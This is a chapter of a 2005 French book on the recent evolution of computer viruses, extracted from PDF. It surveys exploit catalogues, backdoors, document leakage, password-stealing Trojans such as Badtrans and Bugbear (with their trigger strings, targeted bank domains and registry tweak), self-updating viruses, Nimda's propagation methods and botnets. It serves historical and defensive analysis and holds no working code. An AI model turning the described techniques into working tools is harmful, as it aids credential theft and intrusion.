ASN .1 Vulnerability that Could Allow Code Execution (828028)
Exploit-MS04-007
MS04-007
PAGET_Ch10 Page 275 Lundi, 11. avril 2005 5:23 17
275
10.4 Utiliser des failles
RÉFÉRENCE MICROSOFT
DÉSIGNATION DE LA VULNÉRABILITÉ
QUELQUES EXEMPLES
MS04-011
LSASS vulnerability CAN-2003-0533
W32/Gaobot.worm W32/Sasser.worm W32/Cycle.worm W32/Bobax.worm W32/Stdbot.worm
MS04-013
Cumulative Security Update for Outlook Express (837009)
W32/Wallon.worm.A Exploit-MhtRedir.gen
MS04-028
Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution
HTool/Exp-MS04-028
MS04-032
Graphics Rendering Engine Vulnerability – CAN-2004-0209:
HTool-Exp.MS04-032!gdi W32/Golten.A
MS05-001
Vulnerability in HTML Help Could Allow Code Execution (890175)
Exploit-HelpZonePass JS/Exploit-HelpXSite
MS05-002
Vulnerability in Cursor and Icon Format Handling Could Allow Remote Code Execution (891711)
Exploit-LoadImgAPI Exploit-ANIfile
MS05-009
Vulnerability in PNG Processing Could Allow Remote Code Execution (890261)
Exploit-PNGfile
© Dunod – La photocopie non autorisée est un délit
Même s’il est souvent accusé, Microsoft n’est pas le seul à reconnaître et à corriger des déficiences liées à ses produits. Les autres environnements et certains de leurs applicatifs sont également vulnérables à un instant donné. Comme le montre le tableau suivant, la seule consultation des encyclopédies virales est là pour en donner un large échantillon.
Tableau 10.3 — Nombre approximatif de vulnérabilités citées dans l’encyclopédie virale McAfee PLATEFORME
VULNÉRABILITÉS CITÉES
QUELQUES EXEMPLES
AVIRT Mail Server
Moins de 10
Exploit-AVBO Avirt 3.3a Bubber Overflow
AX
Moins de 10
AX/CHM-Exploit BackDoor-FB.svr Display Pentium3 ID AX/CPU-Thief
BADBLUE Web Server
Moins de 10
Exploit-Badblue Remote exploit for Badblue 1.5
BSD
Moins de 10
BSD/Exploit-Autofsd BSD/Scalper.worm
PAGET_Ch10 Page 276 Lundi, 11. avril 2005 5:23 17
276
Chapitre 10. Dernières évolutions et perspectives
PLATEFORME
VULNÉRABILITÉS CITÉES
QUELQUES EXEMPLES
BLACKICE
Moins de 10
W32/Witty.worm ISS/PAM ICQ module vulnerability
CISCO
Moins de 10
Exploit-CGE Cisco Global Exploiter Exploit-CIOS.src IOS vulverability Exploit-Ciskill
Compaq Insight Manager
Moins de 10
Exploit-CIM Rot Dot Dot Bug
Gatekeeper
Moins de 10
Exploit-GkWarez
HOTMAIL
Moins de 10
Exploit-Hotmail
HTML
Moins de 10
HTML/CrashIE
IIS
Plus de 25
Exploit-IIS.Crack IIS 5.0 exploit Exploit-IIS.Hack Buffer overflow IIS malformaed URL Tool-SyaPowa Exploit-IIS.NulPrint Null print Exploit Exploit-IIS.Print Print Overflow / IIS 5.0 Exploit-IIS.Unicode Unicode/Encode vulnerability
IRC
Moins de 10
Exploit-IRC.Slap
JS
Plus de 50
JS/Exploit-ICQ.SCM W32/Bizex.worm JS/Exploit-IndexRun JS/Exploit-Linkiller
JV
Moins de 10
JV/Exploit-XMLhttp
LINUX
Plus de 50
Linux/Slapper Buffer Overflows in OpenSSL (CAN2002-0656) Linux/Exploit-CrisCras (CERT Incident ssh1 crc-32 compensation) Linux/Exploit-Honeymoon (CERT advisory CA-2001-33 Multiple Vulnerabilities in wu-ftpd) Linux/Exploit-Lsub (imapd Remote Exploit using Buffer Overflow) Linux/Exploit-SendMail (CERT Advisory CA-2003-07 Remote Buffer Overflow in Sendmail)
PAGET_Ch10 Page 277 Lundi, 11. avril 2005 5:23 17
277
10.5 Distribuer une porte dérobée
© Dunod – La photocopie non autorisée est un délit
PLATEFORME
VULNÉRABILITÉS CITÉES
QUELQUES EXEMPLES
LNK
Moins de 10
LNK/Exploit-VortLink
OpenType font type
Moins de 10
OTF/Exploit-Restart
OTF
Moins de 10
OTF/Exploit-Restart
PERL
Moins de 25
PERL/PBO-Exploit Printer Buffer Overflow PERL/WSFT-Exploit Web Server Folder Transversal
PHP
Moins de 10
PHP/Exploit-Apache PHP/Exploit-IIS Exploit-phpBB PHP/Exploit-SafeMode
SOLARIS
Moins de 10
Exploit-Sadmind.demo
SunOS
Moins de 10
CVE-1999-0977 Sun Security Bulletin #00191 / Solaris sadmind Buffer Overflow Vulnerability) SunOS/Exploit-Cmsd SunOS/Exploit-Ttdbsrv
UNIX
Plus de 100
UNIX/Exploit-Aix5L UNIX/Exploit-HPUX UNIX/Exploit-Melange UNIX/Exploit-Samba UNIX/Sorso.worm
UNIX like
Plus de 25
Exploit-Ansi Exploit-Jbellz Exploit-Njob Exploit-RootBug Exploit-Shellcode Exploit-SolGetSu
VIRUSWALL
Moins de 10
Exploit-Beavuh VirusWall NT 3.23/3.3 Exploit-Jill
10.5 DISTRIBUER UNE PORTE DÉROBÉE Deux mois environ après sa première version, une nouvelle variante de CodeRed : W32/CodeRed.c.worm (alias Code Red II) fit son apparition. Réécriture de la version originale, elle contenait un générateur d’adresses IP plus performant que les précédents et une porte dérobée que le ver implantait sur la machine contaminée.
PAGET_Ch10 Page 278 Lundi, 11. avril 2005 5:23 17
278
Chapitre 10. Dernières évolutions et perspectives
Dans ce cas précis, la porte dérobée utilisait une vulnérabilité de Windows 2000 intitulée Relative Shell Path Vulnerability et référencée comme MS00-052. Parfois nommée Trojan.VirtualRoot, celle ci peut permettre à un utilisateur malintentionné de créer de nouveaux répertoires racine dans une configuration d’IIS et d’exécuter le code de son choix dès qu’un autre utilisateur s’y connecte. Cette association entre virus et outils de piratage est une autre tendance marquant notre époque. Longtemps le monde du hacking s’est différencié de celui des auteurs de virus. Mais aujourd’hui, de nombreux exemples apparaissent ou les virus diffusent des outils à même de vulnérabiliser le système et de briser la confidentialité des documents qu’il renferme. Socket23 en 1998 (alias W32/Cheval, Win32/HLLP.DeTroie) et W95/Kuang en 1999 (alias W95/Weird) furent les pionniers. En 2001 plus d’une dizaine de virus transportaient ou contenaient une porte dérobée ; on en notait une trentaine en 2002. Il y en a maintenant plusieurs centaines chaque année. Citons parmi eux : • • • • •
W32/MyParty.A@MM (janvier 2002). W32/Zoec@MM (juin 2002). W32/Lovgate.C@MM (février 2003). W32/Deloder.worm (mars 2003). W32/Deborm.worm.q (mars 2003).
Les virus W32/Bugbear.@MM que nous retrouverons plus en détail dans la suite de ce chapitre possédent également une porte dérobée. Une fois connecté sur la machine infecté, le pirate était à même de : • • • • • • •
capturer les informations liées à la machine infectée, télécharger des fichiers, lancer un exécutable, détruire des fichiers, lister et stopper les processus en mémoire, démarrer le renifleur de clavier, démarrer le serveur http sur un port particulier.
Les figures suivantes issus de l’encyclopédie F-Secure présentent l’interface HTTP ainsi mise en place1.
1. ENCYCLOPEDIE F-SECURE, F-Secure Virus Descriptions : Bugbear.B. http://www.f-secure.com/v-descs/bugbear_b.shtml.
PAGET_Ch10 Page 279 Lundi, 11. avril 2005 5:23 17
279
10.5 Distribuer une porte dérobée
Figure 10.14 — Physionomie du serveur HTTP installé
© Dunod – La photocopie non autorisée est un délit
par W32/Bugbear.B@MM
Figure 10.15 — Physionomie du serveur HTTP installé
par W32/Bugbear.B@MM
PAGET_Ch10 Page 280 Lundi, 11. avril 2005 5:23 17
280
Chapitre 10. Dernières évolutions et perspectives
10.6 PORTER ATTEINTE À LA CONFIDENTIALITÉ La porte dérobée n’est pas l’unique procédé portant atteinte à la confidentialité. La diffusion d’informations confidentielles à l’insu de l’utilisateur est une autre activité mise en œuvre par les virus actuels. W32/Sircam@MM, apparu en juillet 2001 est l’un de ceux-là. Il reste classique dans son mode de propagation (via le carnet d’adresses ou d’autres adresses trouvées dans certains répertoires et partages réseaux). Il réexpédie également des fichiers se trouvant dans le répertoire Mes documents et lorsque le destinataire ouvre l’attachement, il voit s’afficher un document volé à l’expéditeur. Cela permet de mieux masquer l’infection du ver. W32/Magistr.A@MM (mars 2001) et W32/Magistr.B@MM (décembre 2001) comportent aussi une routine particulière : Si une connexion Internet active est présente, ils recherchent des fichiers DOC et TXT et sélectionnent un nombre de mots aléatoires au sein d’un de ces fichiers pour construire le sujet et le corps du message électronique qu’ils envoient. Ils infectent ensuite un exécutable, l’attachent au message électronique et l’expédient. Dans plus d’un cas sur cinq, ces deux virus attachent aussi au message un fichier DOC ou TXT qu’ils ont trouvé sur le système1. Citons encore W32/Klez.H@MM qui peut se propager accompagné d’un fichier pris au hasard sur le disque dur de la victime (TXT, HTM, HTML, WAB, ASP, DOC, RTF, XLS, JPG, CPP, C, PAS, MPG, MPEG, BAK, MP3 ou PDF). Là aussi, il y a un risque certain pour la confidentialité des données. Par l’entremise de certains virus cités plus haut, j’ai personnellement reçu des documents émanant d’un Conseil Général d’Ile de France, et d’une institutrice ; cette dernière annotait sur son ordinateur les appréciations qu’elle attribuait à ses élèves. J’ai également reçu des brides de journaux intimes qui n’auraient jamais dû me parvenir…
10.7 FAIRE LA COLLECTE DE MOTS DE PASSE La collecte de mots de passe est un autre challenge. Des chevaux de Troie particuliers que je dénomme renifleurs de mot de passe (en anglais PassWord Stealer – PWS) savent parfaitement réaliser ce travail.
1. ENCYCLOPEDIE KASPERSKY, I-Worm.Magistr. http://www.avp.ch/avpve/worms/email/magistr.stm.
PAGET_Ch10 Page 281 Lundi, 11. avril 2005 5:23 17
10.7 Faire la collecte de mots de passe
281
Tout comme pour les portes dérobées, la tâche première est l’introduction et le lancement de l’outil dans la machine corrompue. Là aussi les pirates informatiques ont compris que le virus pouvait leur être un partenaire de choix. L’exemple de W32/Badtrans.B@MM en est un parfait exemple. Dans ce cas précis, l’outil implanté s’apparente en fait à un renifleur de clavier. Ce virus a été découvert en novembre 2001. Associé à un envoi massif de mails, il dépose et active son cheval de Troie (PWS-Hooker.dll) afin d’enregistrer certaines frappes de l’utilisateur. Chaque seconde, le programme analyse l’intitulé de la fenêtre active à la recherche des chaînes de caractères LOG, PAS, REM, CON, TER et NET qui forment le début des mots anglais LOGon, PASsword, REMote, CONnection, TERminal et NETwork. Des séquences correspondantes à ces même mots en langue russe sont aussi présentes dans le code ; elles nous dévoilent peut-être ainsi le pays d’origine du virus ? Si l’un des mots est intercepté, l’enregistrement des frappes clavier est activé pour 60 secondes et le fichier constitué est automatiquement envoyé comme pièce jointe d’un message à destination d’une adresse choisie dans une liste préétablie1. L’un des serveurs SMTP vers lesquels des messages étaient réexpédiés fut mail.monkeybrains.net. La presse se fit l’écho de la demande que le FBI2 effectua auprès de ce fournisseur d’accès américain. Il cherchait à récupérer les données détournées par le virus vers l’adresse [email protected] (sic !). Le compte fut désactivé, mais le fournisseur d’accès (monkeybrain.net) semble avoir refusé de livrer les informations3.
© Dunod – La photocopie non autorisée est un délit
En septembre 2002 et en juin 2003, les versions A et B de W32/Bugbear@MM, variantes de Badtrans, reprenaient plusieurs tendances relevées depuis 2001. Outre la routine d’expédition par courrier électronique : • Elles se propageaient au travers des réseaux locaux partagés en droit d’accès d’écriture. • Elles installaient sur la machine un outil renifleur de clavier. • Elles mettaient en place une porte dérobée (port 36794, variante A – port 1080, variante B). • Elles portaient atteinte à la confidentialité des données en répondant aux messages présents dans la boite de réception tout en choisissant un destinataire autre que l’expéditeur convenu. • Elles semblaient être capable de re-expédier en tant que corps de message des parties de textes relevés sur la machine infectée. 1. FERRIE, Peter & SZOR, Peter (février 2002), Bad Transfer, Virus Bulletin, février 2002, pp 89-10. 2. FBI : Federal Bureau of Investigation. 3. SAIZ, Jérôme (décembre 2001), Les données dérobées par le virus BadTrans intéressent le FBI. http://www.01net.com/rdn?oid=171867&rub=2135.
PAGET_Ch10 Page 282 Lundi, 11. avril 2005 5:23 17
282
Chapitre 10. Dernières évolutions et perspectives
W32/Bugbear.B@MM contenait également une longue liste de domaines liés aux activités bancaires1. Il nous faudrait plusieurs pages pour lister ici les centaines de sites concernées. J’ai retenu ici les quelques banques françaises ciblées par le virus : banquepopulaire.fr, bics.fr, bpic.fr, bpnord, frbred.fr, ca-alpesprovence.fr, ca-alsace-vosges.fr, ca-midi.fr, ca-normand.fr, ccf.fr, cin.fr, covefi.fr, cpr.fr, credit-agricole.fr, credit-du-nord.fr, creditlyonnais.fr, creditmutuel.fr, caisse-epargne.fr, eurocardmastercard.tm.fr, nxbp.fr, smc.fr, transat.tm.fr.
Au démarrage de la machine, si celle-ci appartient à l’un des domaines cités plus haut, la clé de registre responsable du processus de numérotation automatique est désactivée : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ InternetSettings "EnableAutodial" = 00 00 00 00
Le virus recherche alors les mots de passe présents dans la mémoire cache et les envoient à une adresse prédéfinie choisie aléatoirement dans une liste. Une fois ce travail effectué, il restaure la clé de registre. Ce processus rend particulièrement vulnérable ces machines qui, rappelons-le, ont également une porte dérobée mise à la disposition du pirate par le virus. Récemment, d’autres virus se sont intéressés à la collecte de mots de passe liés aux activités bancaires. Certains virus de la famille W32/Mimail@MM s’en font une spécialité. W32/Mimail.I@MM présente à l’utilisateur infecté une fenêtre qui imite celles proposées par le service de paiement sécurisé PayPal. Il cherche ainsi à extorquer le code secret des cartes bancaires pour l’envoyer par courrier électronique à des individus qui pourraient ensuite s’en servir.
Figure 10.16 — Écran présenté par le virus W32/Mimail.i@MM 1. ENCYCLOPEDIE NAI, W32/Bugbear.b@MM. http://vil.nai.com/vil/content/v_100358.htm.
PAGET_Ch10 Page 283 Lundi, 11. avril 2005 5:23 17
283
10.8 Savoir se mettre à jour
L’intérêt d’une telle collecte d’informations devient vite obsolète. Une fois l’effet de surprise passé, le virus perd sa raison d’être. Dans la plupart des cas, les sites miroirs ou adresses mails dédiés à la réception des informations capturées sont vite repérés et fermés. Les auteurs envisagent alors une nouvelle version, qu’ils espèrent plus performante. Afin d’éviter de fâcheuses interférences entre leurs diverses créations, ils décident eux-mêmes de la durée de vie de chacune d’entres elles. L’un des exemples est W32/Sobig@MM. Ce virus et ses variantes a fait l’objet d’une étude complète par le LURHQ Threat Intelligence Group ; j’en conseille fortement la lecture1. Tableau 10.4 — Les dates de fin de propagation des variantes de W32/Sobig@MM Variante
Date de découverte
Date de fin de vie programmée
A
9 janvier 2003
absente
B
18 mai 2003
31 mai 2003
C
31 mai 2003
8 juin 2003
D
18 juin 2003
2 juillet 2003
E
25 juin 2003
14 juillet 2003
F
18 août 2003
10 septembre 2003
© Dunod – La photocopie non autorisée est un délit
10.8 SAVOIR SE METTRE À JOUR Alors qu’il travaillait encore chez Trend Micro, Marc Blanchard a réalisé une étude des processus de communication et de survie des prochains virus. Il s’est basé pour cela sur des travaux en cours dans la communauté des créateurs de virus (Benny/ 29A) qui imaginaient un protocole particulier offrant un canal de communication furtif et chiffré entre tous les virus qui souhaiteraient l’utiliser. « Les virus installés sur le système pourront communiquer avec un module central appelé Virus Communication Interface (VCI). Cette interface utiliserait les mécanismes d’IPC (Inter Process Communication) ou le protocole WormNET pour favoriser les échanges d’information entre les virus et leur donner des ordres. Car ce sont des virus modulaires, totalement différents de ceux que nous connaissons aujourd’hui. Ils arrivent vides sur le système, prêts à recevoir n’importe quel code malicieux de la VCI », explique Marc2. 1. LURHK (2003a), Sobig.a and the Spam You Received Today. http://www.lurhq.com/sobig.html. LURHK (2003b), Sobig.e – Evolution of the Worm. http://www.lurhq.com/sobig-e.html. LURHK (2003c), Sobig.f Examined. http://www.lurhq.com/sobig-f.html. 2. BLANCHARD, Marc, (2002), Etude des processus de communication et de survie des prochains virus. Disponible sur demande auprès de son auteur.
PAGET_Ch10 Page 284 Lundi, 11. avril 2005 5:23 17
284
Chapitre 10. Dernières évolutions et perspectives
Tout cela n’est aujourd’hui que de la science-fiction ; néanmoins, et pour mieux se propager, les virus actuels cherchent à communiquer pour leur propre compte. Le brésilien Vecna, ancien membre du groupe 29A, l’a démontré avec deux de ses virus. Le 3 décembre 1999, W95/Babylonia@M fut trouvé dans le groupe de discussion alt.crackers sous forme d’un fichier d’aide intitulé serialz.hlp1. Ce fichier était supposé contenir plus de 17000 numéros de licence pour logiciels non enregistrés ; il n’en était rien ! L’ouverture du fichier, initialisait la propagation du virus, via la messagerie électronique (protocole SMTP) et, sur le système local. Un fichier de 4 kilo-octets BABYLONIA.EXE était copié dans la racine C:\. Par cette porte dérobée, le virus tentait de se connecter périodiquement au Japon sur l’un des sites de l’auteur afin d’espérer pouvoir se mettre à jour et changer ses caractéristiques. Quatre modules additionnels (plug-ins) – au moins – furent ainsi diffusés : • DROPPER.DAT pour réinstaller le virus après une désinfection incomplète. • GREETZ.DAT pour afficher un message à compter du 15 janvier : W95/Babylonia by Vecna (c) 1999 Greetz to RoadKil and VirusBuster Big thankz to sok4ever webmaster Abracos pra galera brazuca!!! --Eu boto fogo na Babilonia!
• IRCWORM.DAT pour une propagation via les canaux mIRC2. • POLL.DAT pour informer par e-mail l’auteur du virus afin qu’il puisse comptabiliser les infections. La fermeture des pages incriminées fut plusieurs fois demandée au fournisseur de service Internet hébergeant les pages personnelles de Vecna. Le 8 décembre, les fichiers furent indisponibles. Et Vecna écrivait sur sa page d’accueil : The "BABYLONIA" which now spreading knock the world . Surely.i admit "This virus make use of SOK4EVER". Our Plicy is not "Do many people harm" but " Freedom Of Speech" but.it’s activity doesnt match my plicy.i never plan to "do harm" so i delete this account immidiately. "http://sok4ever.zone.ne.jp/vecna" doesn’t exist anymore. i made this site for "someone who want to know Virus Infomation can easily find " Of cause All of this site contens are for Your Own Risk! and i dont hava any responsibility whatever you suffer.
1. VAN OERS, Marius (février 2000), Digital Rivers of Babylonia. Virus Bulletin, février 2000, pp6-7. 2. mIRC : dialogue en direct sur l’Internet Relay Chat.
PAGET_Ch10 Page 285 Lundi, 11. avril 2005 5:23 17
10.8 Savoir se mettre à jour
285
Environ un an plus tard en septembre 2000, Vecna diffusait W32/Hybris@MM1. L’idée de ce virus lui vint juste après la diffusion de Babylonia, alors qu’il constatait à ses dépends que pour bloquer les mutations, il suffisait de fermer le site initiateur. Tout comme son prédécesseur, Hybris arrivait par mail sous la forme d’une pièce jointe. Son exécution entraînait son installation. Selon les cas (en fonction des plugins associés), le virus affichait une spirale ou un cercle noir; il pouvait aussi entraîner l’inaccessibilité à certains sites anti-virus du commerce. Ayant perfectionné son idée initiale le virus utilisait un forum de discussion pour y trouver les modules recherchés. Vecna avait choisi pour cela un forum non modéré et très couru : alt.comp.virus. Les modules récupérés étaient cryptés et signés par le biais d’un algorithme du type RSA avec une clé privée de 128 octets. Le virus, contenant la clé publique associée, était à même de n’accepter que des composants signés et reconnus. Très vite, une trentaine de modules furent détectés et l’on nota les comportements suivants: affichage d’une spirale, insertion d’une copie du virus dans les archives ZIP et RAR, interdiction d’accès à certains sites anti-virus, recherche, depuis le PC infecté, d’ordinateurs contenant le cheval de Troie SubSeven pour distribution du virus à ces machines, • codage polymorphique du virus avant son envoi par mail, • infection des fichiers EXE locaux, • téléchargement d’autres plug-ins depuis des pages WEB hébergées au Vietnam (site fermé le 20 novembre 2000).
© Dunod – La photocopie non autorisée est un délit
• • • •
From: Use-Author-Address-Header@[127.1] Subject: i_rz D[CZ CzSjaLenCO Newsgroups: alt.comp.virus View: (This is the only article in this thread) | Original Format Date: 2000-12-10 23:13:40 PST IMGDDNFKFBKCHDMJILRGJGIGHFDJKIPHGOHGFFMHGJNBIPEIMPMPQHELCBROHKIOQN GNINOZNMDEIJPEIOIDQLHBQBMZFHDZCEJBRJEHNPDHJLIKFGGGDKFZCKJCOFPDMIGP HGQJHJCGFFHBQKJMONHIFNDILMLJKZPGFJLMIKHGEZIBFIGOROFPHICZONRJEEOCGZ MJPZCJMJLMOIPFFZCJPDLGCONHLGOMKDOKIHQDIPOZHICZDEGDPHPZRBFEDJPEEDFL FJNKENROQJGCNZGNJKJGIPHPCDKZNKOLFGEBPHEZLOPDOIQZMERJFGFFKOIHCLCFMD [continues].... [more coded lines] GNCMRENJDFJZNNGJMBREKOINQPMD **** Figure 10.17 — Exemple de message destiné à Hybris et disponible sur alt.comp.virus 1. NIKISHIN, Andy (janvier 2001), Harnessing Hybris, Virus Bulletin, janvier 2001, pp6-7.
PAGET_Ch10 Page 286 Lundi, 11. avril 2005 5:23 17
286
Chapitre 10. Dernières évolutions et perspectives
Un autre module expédiait des e-mails avec une pièce jointe d’un nom laissant souvent sous-entendre un caractère pornographique (exemple : sexynain.scr). L’expéditeur semblait être : From: Hahaha
Il s’agissait d’un nom usurpé et les propriétaires du domaine sexyfun.net réagirent immédiatement à cette mise en cause. Le sujet et le corps du mail étaient variables. Les français retiendront : Les 7 coquins nains Blanche neige et … les sexe nains
10.9 INTÉGRER DE MULTIPLES TECHNIQUES DE PROPAGATION Comme nous l’indiquions au début de ce document, les virus programmes représentent aujourd’hui la majorité des mass-mailers. Leur principal intérêt réside en leur capacité d’intégrer dans un même ensemble plusieurs techniques de propagation. L’exemple de W32/Nimda@MM est particulièrement convaincant. Les premières traces du virus sont repérées le 18 septembre 2001. Il se présente sous la forme d’un e-mail apparemment vide accompagné d’un fichier joint (le virus lui-même). Comme nombre de ses prédécesseurs, il utilise une vulnérabilité d’Internet Explorer1 permettant l’exécution du code malveillant sous Outlook, dès que l’utilisateur visualise le mail. L’attachement est ainsi exécuté sans que l’utilisateur aie nécessairement recourt au double-clic. Une fois un poste infecté, il se propage en utilisant plusieurs mécanismes : • Par e-mail : envoi d’une copie de lui-même à tous les correspondants trouvés dans le carnet d’adresses du poste infecté ou dans des fichiers HTML présents sur le système. Il utilise pour cela sa propre routine SMTP et parfois la MAPI de Microsoft. • Par infection locale : il analyse les disques durs à la recherche de fichiers liés à Internet aux noms prédéfinies (combinaison de noms et d’extension tels que *DEFAULT*, *INDEX*, *MAIN*, *README* et .HTML, .HTM, .ASP). Il ajoute du code JavaScript dans chaque fichier trouvé. Si l’un d’eux est visualisé, le programme viral, préalablement copié dans le même répertoire, sera automatiquement exécuté. • Le virus infecte également certains fichiers PE aux extensions EXE dont il a trouvé le nom dans la base de registres. • Par propagation en utilisant les partages de disques sous Windows. Il installe un fichier à l’extension EML (ou parfois NWS). Un utilisateur parcourant 1. MS01-020 : Incorrect MIME Header Can Cause IE to Execute E-mail Attachment.
PAGET_Ch10 Page 287 Lundi, 11. avril 2005 5:23 17
10.10 Investir les modes poste à poste
•
•
• •
287
l’un de ces partages réseaux pourra se trouver infecter au travers de la prévisualisation de l’explorateur Windows. À travers les serveurs Microsoft IIS vulnérables : la méthode utilisée n’est pas reprise de CodeRed mais de W32/CodeBlue (découvert le 7 septembre 2001)1. Le ver active une session temporaire TFTP sur la machine infecté afin de se transmettre sur la machine vulnérable. À travers des consultations Web : le petit script installé dans les fichiers HTML des serveurs compromis permet la transmission du virus sur la machine qui visualise ces pages. À travers l’exploitation d’anciennes portes dérobées laissées par W32/CodeRed.C.worm. À l’ouverture de fichiers RTF (Rich Text Format) : ces fichiers sont gérés par la DLL, RICHED20.DLL. Le virus ayant écrasé cette DLL avec son propre code, chaque ouverture d’un document RTF par Word ou Wordpad se solde par l’exécution du code viral.
Dès 1999, certains chercheurs annonçaient la venue prochaine d’un tel virus exploitant de nouvelles techniques pour se propager au travers de l’Internet. Eugène Kaspersky indiquait dans un article du Virus Bulletin de février 1999 tous les détails de d’une telle infection2. Il présentait un fonctionnement en trois étapes : • Pénétration de la machine locale depuis Internet (via la messagerie ou une page Web). • Infection du réseau local. • Retour vers Internet (via la messagerie, un serveur Web ou l’Internet Information Server (IIS de Microsoft).
© Dunod – La photocopie non autorisée est un délit
Deux ans après, les prédictions se réalisaient…
10.10 INVESTIR LES MODES POSTE À POSTE Illégal lorsque non libres de droits, l’échange de fichiers musicaux et vidéo est une pratique de plus en plus courante sur le NET. Plusieurs dizaines de logiciels gratuits permettent ces échanges de fichiers entre les internautes. Ce mode d’échange devenant courant, les utilisateurs et leurs machines sont maintenant de nouvelles cibles. On estime à 2,4 millions le nombre d’utilisateurs de KaZaA en septembre 2004.
1. Il s’agit de la vulnérabilité MS00-078 connue sous le titre de Web Server Folder Traversal Vulnerability. Codered utilisait la vulnérabilité MS01-033. 2. Kaspersky Eugène (1999), Viruses and the Internet – Whatever Next ?, Virus Bulletin. Février 1999. pp 14-17.
PAGET_Ch10 Page 288 Lundi, 11. avril 2005 5:23 17
288
Chapitre 10. Dernières évolutions et perspectives
Sur ces réseaux, on retrouve en premier lieu des virus dédiés. Il en existe des milliers que les anti-virus détectent généralement de manière générique (W32/Generic !p2p). Ils diffusent les outils d’attaque et d’espionnage que nous présentons tout au long de ce chapitre ; il s’agit principalement de portes dérobées et de renifleurs de clavier ou de mot de passe. Viennent ensuite les robots ; nous en détaillerons le fonctionnement un prochain paragraphe. Ils complètent le travail des précédents dispositifs d’attaque et permettent une utilisation à distance des ressources de la machine à des fins criminelles. Même si la plupart d’entre eux sont pilotés via des canaux IRC, quelques autres sont directement contrôlés via les réseaux P2P eux-mêmes. Les mass-mailers sont les troisièmes hôtes privilégiés des réseaux peer to peer. Alors que le public à trop tendance à ne les voir qu’au contact des messageries électroniques, ceux ci possèdent souvent des mécanismes de recherche de répertoires partagées ou ils s’y infiltrent sous des noms d’empreint pour mieux se propager. Les nombreuses variantes de W32/Bagle@MM sont particulièrement efficaces dans ce domaine.
10.11 USURPER INTELLIGEMMENT LES ADRESSES La technique n’est pas nouvelle mais les virus du moment utilisent particulièrement bien cette méthode. W32/BugBear@MM, déjà cité dans ce document, fait de l’usurpation d’expéditeur. Du fait de cette pratique, un message infecté arrivant à destination ne vient pas nécessairement de la personne indiquée dans l’entête. Ces virus font aussi de l’usurpation intelligente d’adresse et de domaine. S’ils trouvent, par exemple, les adresses [email protected] et [email protected], le nom d’expéditeur retenu devient un mélange des deux, tel que [email protected]. Cette technique, également exploitée par certaines variantes de W32/ Sobig@MM, explique en partie sa forte propagation en 2004 : bien qu’affublé d’une adresse erronée, l’expéditeur n’est pas nécessairement un inconnu. Cela rend ainsi le destinataire moins méfiant.
10.12 RECHERCHER L’AVAL DE L’UTILISATEUR Recevoir, exécuter et réexpédier un mass-mailer est une pratique généralement involontaire. Faire sciemment cet envoi à l’ensemble de ses correspondants est un exercice que j’ai moi même pratiqué à mon corps défendant. J’expérimentais alors le mass-mailing consentant !
PAGET_Ch10 Page 289 Lundi, 11. avril 2005 5:23 17
10.12 Rechercher l’aval de l’utilisateur
289
Le 29 octobre 2002, revenant de congés et à l’approche d’Halloween, je reçois sur ma machine personnelle, un message m’indiquant qu’une carte virtuelle m’attend sur le site FriendGreetings.com. Ayant encore un pied en vacances et la carte semblant provenir d’un membre de ma famille, je clique sur le lien indiqué.
Figure 10.18 — Message en provenance de FriendGreetings
© Dunod – La photocopie non autorisée est un délit
Il m’est alors proposé de télécharger, puis d’installer, un logiciel applicatif qui doit me permettre de visualiser correctement le message virtuel qui m’attend.
Figure 10.19 — FriendGreetings doit être installé sur la machine
J’accepte l’installation en répondant positivement à diverses autres requêtes. La présentation professionnelle trompe définitivement ma vigilance.
PAGET_Ch10 Page 290 Lundi, 11. avril 2005 5:23 17
290
Chapitre 10. Dernières évolutions et perspectives
Figure 10.20 — FriendGreetings s’installe
D’autres boites de dialogue s’affichent à l’écran. Pressé d’en finir, et sans lire leur contenu, je répond invariablement par l’affirmative. Je suis enfin récompensé : une belle citrouille me souhaite un joyeux Halloween.
Figure 10.21 — Ma carte virtuelle de FriendGreetings
PAGET_Ch10 Page 291 Lundi, 11. avril 2005 5:23 17
291
10.13 L’invasion des robots
Alors que je m’apprête à fermer et à détruire ce courrier, mon attention est attirée par l’emballement du compteur de messages de ma boite d’envoi. Je ferme alors précipitamment ma machine pour m’intéresser aux dernières découvertes qui peuvent avoir eu lieu pendant mes quelques jours de vacances. Passant dans mon environnement professionnel, je tombe rapidement sur l’alerte Friend Greeting application et retrouve, avec effroi, une impression écran de la dernière fenêtre qui n’avait pas retenue mon attention : il m’avait été demandé mon accord pour un envoi publicitaire à l’ensemble de mes contacts.
Figure 10.22 — L’accord de licence FriendGreetings
© Dunod – La photocopie non autorisée est un délit
Le marketing viral était né et d’autres exemples de ce type virent rapidement le jour. Après avoir alimenté les forums spécialisés où l’on échange son point de vue sur l’aspect viral ou non du phénomène, il fut décidé d’attribuer le qualificatif d’application indésirable à ces nouveaux venus.
10.13 L’INVASION DES ROBOTS L’année 2003 a été celle de la naissance des robots. Parmi les plus connus, citons les familles Gaobot, Spybot et Randex. Pour s’implanter, ils utilisent des méthodes classiques. S’ils ne sont pas eux même autoreproducteurs, ils s’installent sur les machines non protégées qu’ils rencontrent par le biais du courrier électronique (spam) ou d’une vulnérabilité exploitée à l’occasion d’une visite sur un site Internet qui les diffusent. Jusqu’à présent, l’innovation technique fait défaut. C’est la quantité qui prime et non la qualité. Des centaines de ces programmes sont distribués, utilisés et abandonnés aussitôt qu’un anti-virus à jour les détecte.
PAGET_Ch10 Page 292 Lundi, 11. avril 2005 5:23 17
292
Chapitre 10. Dernières évolutions et perspectives
Lorsqu’un virus est prolifique, ses variantes dépassent rarement la centaine. À l’heure ou j’écris ces lignes, la variante BE de Mydoom vient d’être annoncée (21 février 2005). Il s’agit de la 57e variante du virus. De son côté, Loveletter rentre dans sa cinquième année d’existence, il n’en est qu’à sa 93e variante. La situation est totalement différente pour les robots. Un an après leur version originale, certains d’entre eux ont fait l’objet de plusieurs milliers de variantes et les concepteurs de produit anti-virus en découvrent entre 25 et 50 nouveaux chaque jour.
Figure 10.23 — Aspect quantitatif des robots
Une fois présent sur une machine, le robot initialise son propre canal de commande. Chaque variante se connecte sur un canal IRC distinct. Elle rejoint ainsi ses semblables et attend les ordres de son commanditaire. On dit alors que l’ensemble forme un botnet.
Figure 10.24 — Aspect quantitatif des robots
PAGET_Ch10 Page 293 Lundi, 11. avril 2005 5:23 17
10.13 L’invasion des robots
293
